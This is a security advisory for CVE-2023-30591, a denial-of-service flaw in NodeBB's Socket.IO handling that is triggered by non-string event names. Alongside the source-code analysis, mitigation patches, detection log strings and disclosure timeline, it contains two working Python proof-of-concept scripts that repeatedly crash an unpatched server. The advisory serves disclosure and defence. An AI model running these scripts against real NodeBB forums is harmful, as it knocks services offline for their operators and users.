Summary:

Product NodeBB
Vendor NodeBB
Severity High - Unprivileged attackers are able to cause NodeBB to crash and exit permanently
Affected Versions < v2.8.11 (Commit 82f0efb)
Tested Versions v2.8.9 (Commit fb100ac)
CVE Identifier CVE-2023-30591
CVE Description Denial-of-service in NodeBB <= v2.8.10 allows unauthenticated attackers to trigger a crash, when invoking eventName.startsWith() or eventName.toString(), while processing Socket.IO messages via crafted Socket.IO messages containing array or object type for the event name respectively.
CWE Classification(s) CWE-241: Improper Handling of Unexpected Data Type
CAPEC Classification(s) CAPEC-153: Input Data Manipulation

CVSS3.1 Scoring System:

Base Score: 7.5 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) None
Integrity (I) None
Availability (A) High

Product Overview:

NodeBB is an open-source community forum platform built on Node.js with the addition of either a Redis, MongoDB, or PostgreSQL database. One of the features of the platform is the utilization of Socket.IO for instant interactions and real-time notifications.

Vulnerability Summary:

Due to improper parsing and handling of unexpected payloads supplied in Socket.IO messages, an unauthenticated attacker is able to send a malicious Socket.IO message to cause a NodeBB worker instance to crash. Although NodeBB’s cluster manager attempts to spawn a new replacement worker, it is possible to cause the NodeBB cluster manager to terminate after crashing NodeBB workers multiple times within a short span of time.

The vulnerability can be exploited by using an array as the Socket.IO event name to trigger a crash when invoking eventName.startsWith(), or by using an object as the Socket.IO event name, and setting the toString property, to trigger a crash when invoking eventName.toString().

Vulnerability Details:

NodeBB uses the Socket.IO library for enable bidirectional, event-based communication between clients and the server. Socket.IO typically uses WebSocket for communication, but supports HTTP long-polling as a fallback.

Crashing NodeBB Workers:

The vulnerability can be found in the Socket.IO message handler implemented in /src/socket.io/index.js:

function onConnection(socket) {
    ...
	socket.onAny((event, ...args) => {
		const payload = { data: [event].concat(args) };
		const als = require('../als');
		als.run({ uid: socket.uid }, onMessage, socket, payload); // [1]
	});
    ...
}

async function onMessage(socket, payload) {
	...
	const eventName = payload.data[0]; // [2]
	...
	const parts = eventName.toString().split('.'); // [3]
	const namespace = parts[0];
	const methodToCall = parts.reduce((prev, cur) => { // [4]
		if (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {
			return prev[cur];
		}
		return null;
	}, Namespaces);

    if (!methodToCall || typeof methodToCall !== 'function') { // [5]
		...
		return callback({ message: `[[error:invalid-event, ${escapedName}]]` }); // [6]
	}
	
	if (!eventName.startsWith('admin.') && ratelimit.isFlooding(socket)) { // [7]
		winston.warn(`[socket.io] Too many emits! Disconnecting uid : ${socket.uid}. Events : ${socket.previousEvents}`);
		return socket.disconnect();
	}
	...
}

At [1], the onMessage() callback function is invoked with the payload object containing the event name and the args arguments received. Observe that no type validation or coercion is performed on eventName, and the eventName is assumed to be of String type.

At [2], the event name (e.g. topics.loadMoreTags) is extracted from the payload object.

At [3], the event name is converted to its string representation before splitting it into multiple parts. Subsequently, the Namespaces object is traversed to get a reference of the event handler to be invoked and assigning it to methodToCall at [4].

At [5], if methodToCall is not a function, an error will be returned at [6].

At [7], eventName.startsWith('admin.') is invoked. However, if eventName is not a String type, then eventName.startsWith('admin.') throws a TypeError as eventName.startsWith is undefined.

Interestingly, any data type may be used when supplying the event name in the Socket.IO message due to the following reasons:

  • Socket.IO uses JSON.parse() to parse the user-supplied event name in the Socket.IO message. However, Socket.IO does not perform any validation on the event name, and assumes that the event name supplied by the user is of String type.
  • Socket objects in Socket.IO effectively extends from Node.js’ EventEmitter class, so most exposed API functions of Socket.IO socket objects rely on the implementation of EventEmitter.
  • The documentation for Node.js’s EventEmitter suggests that event names should either be of String or Symbol type, but no type validation check is performed on the event name.
  • When storing event listeners (e.g. via emitter.on()) or looking up event listeners (e.g. via emitter.emit()), the event name supplied as argument is implicitly casted to String type.
  • However, the original event name supplied as argument is passed to the event listener without type-casting.
  • This results in user-supplied event names, which may be non-string values, within Socket.IO messages to be passed directly to event listeners.

To avoid the early termination at [6] and preventing the condition at [5] from returning true, while still causing a TypeError to be thrown at [7], an array with a single element can be used to supply the event name:

> const eventName = ["topics.loadMoreTags"];

> ["topics.loadMoreTags"].toString()
"topics.loadMoreTags"

> const parts = eventName.toString().split('.'); // [3]
["topics", "loadMoreTags"]

> eventName.startsWith // at [7]
undefined

Similarly, it is also possible to cause an uncaught exception earlier when invoking eventName.toString() at [3] by supplying an object with the toString property defined:

> const eventName = {"toString": 1};

> eventName.toString()
// TypeError

Crashing NodeBB Cluster Manager:

In /loader.js, the cluster manager attempts to restart the workers which exited abnormally:

Loader.addWorkerEvents = function (worker) {
	worker.on('exit', (code, signal) => {
		if (code !== 0) {
			if (Loader.timesStarted < numProcs * 3) {
				Loader.timesStarted += 1;
				if (Loader.crashTimer) {
					clearTimeout(Loader.crashTimer);
				}
				Loader.crashTimer = setTimeout(() => {
					Loader.timesStarted = 0;
				}, 10000);
			} else {
				console.log(`${numProcs * 3} restarts in 10 seconds, most likely an error on startup. Halting.`);
				process.exit(); // [8]
			}
		}

		console.log(`[cluster] Child Process (${worker.pid}) has exited (code: ${code}, signal: ${signal})`);
		if (!(worker.suicide || code === 0)) {
			console.log('[cluster] Spinning up another process...');

			forkWorker(worker.index, worker.isPrimary);
		}
	});

    ...
}

Finally, at [8], if too many workers exited abnormally within the hard-coded 10 seconds threshold, the cluster manager concludes that a startup error had occurred and will terminate itself as well, killing all NodeBB workers.

Since an attacker can cause NodeBB workers to exit abruptly at will, this enables the attacker to terminate NodeBB completely, causing persistent denial-of-service.

Exploit Conditions:

No additional constraints were identified. An unauthenticated attacker is expected to be able to execute this exploit scenario reliably.

Reproduction Steps:

Proof-of-Concept #1: DoS via Array Type for Socket.IO Event Name

  1. Install Socket.IO client for Python using: pip install "python-socketio[client]".
  2. Save the following proof-of-concept exploit script as dos-via-array.py:
    #!/usr/bin/env python3
    import socketio
    import sys
    from time import sleep
    
    delay = 0.5 # in seconds
    
    def dos(target):
        sio = socketio.Client()
        sio.connect(f'{target}/socket.io')
        sio.emit(["topics.loadMoreTags"], {}) # reference any valid event handler within Namespaces
    
    def main(target):
        while True:
            try:
                dos(target)
            except KeyboardInterrupt:
                sys.exit(0)
            except:
                pass
            sleep(delay)
    
    if __name__ == '__main__':
        target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1]
        main(target)
    
  3. Ensure that NodeBB is started using ./nodebb start.
  4. Run the exploit script using python3 dos-via-array.py http://<target-nodebb>:<port>.
  5. Observe that after a few seconds, NodeBB terminates with the following message observed in the output logs:
    3 restarts in 10 seconds, most likely an error on startup. Halting.
    

Proof-of-Concept #2: DoS via Object Type for Socket.IO Event Name

  1. Install Socket.IO client for Python using: pip install "python-socketio[client]"
  2. Save the following proof-of-concept exploit script as dos-via-object.py:
    #!/usr/bin/env python3
    import socketio
    import sys
    from time import sleep
    
    delay = 0.5 # in seconds
    
    def dos(target):
        sio = socketio.Client()
        sio.connect(f'{target}/socket.io')
        sio.emit({"toString":0}, {}) # any object setting toString property
    
    def main(target):
        while True:
            try:
                dos(target)
            except KeyboardInterrupt:
                sys.exit(0)
            except:
                pass
            sleep(delay)
    
    if __name__ == '__main__':
        target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1]
        main(target)
    
  3. Ensure that NodeBB is started using ./nodebb start.
  4. Run the exploit script using python3 dos-via-object.py http://<target-nodebb>:<port>.
  5. Observe that after a few seconds, NodeBB terminates with the following message observed in the output logs:
    3 restarts in 10 seconds, most likely an error on startup. Halting.
    

Suggested Mitigations:

Implement a validation check to ensure that eventName is of String type before processing the message received. For example:

async function onMessage(socket, payload) {
	...
+   if (typeof payload.data[0] !== "string") {
+       winston.warn('[socket.io] Non-string event name');
+       return socket.disconnect();
+   }
    const eventName = payload.data[0];
    ...
}

It is also recommended to implement additional error handling to further prevent uncaught exceptions from crashing the NodeBB worker. For example:

function onConnection(socket) {
    ...
    socket.onAny((event, ...args) => {
        const payload = { data: [event].concat(args) };
        const als = require('../als');
-       als.run({ uid: socket.uid }, onMessage, socket, payload);
+       try {
+           als.run({ uid: socket.uid }, onMessage, socket, payload);
+       } catch (err) {
+           winston.error(`${event}\n${err.stack ? err.stack : err.message}`);
+           socket.disconnect();
+       }
    });
    ...
}

Detection Guidance:

It is possible to search for the following error messages in NodeBB’s standard output/error and their respective log files to identify exploitation attempts of this vulnerability:

error: uncaughtException: eventName.toString is not a function
error: TypeError: eventName.toString is not a function
error: uncaughtException: eventName.startsWith is not a function
error: TypeError: eventName.startsWith is not a function
3 restarts in 10 seconds, most likely an error on startup. Halting.

Credits:

Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2023-03-27 Vendor Disclosure
  • 2023-03-27 Initial Vendor Contact
  • 2023-03-28 Vendor Patch Release (v2.8.10) containing partial fix
  • 2023-04-11 Vendor Patch Release (v2.8.11) completely fixing vulnerability
  • 2023-09-29 Public Release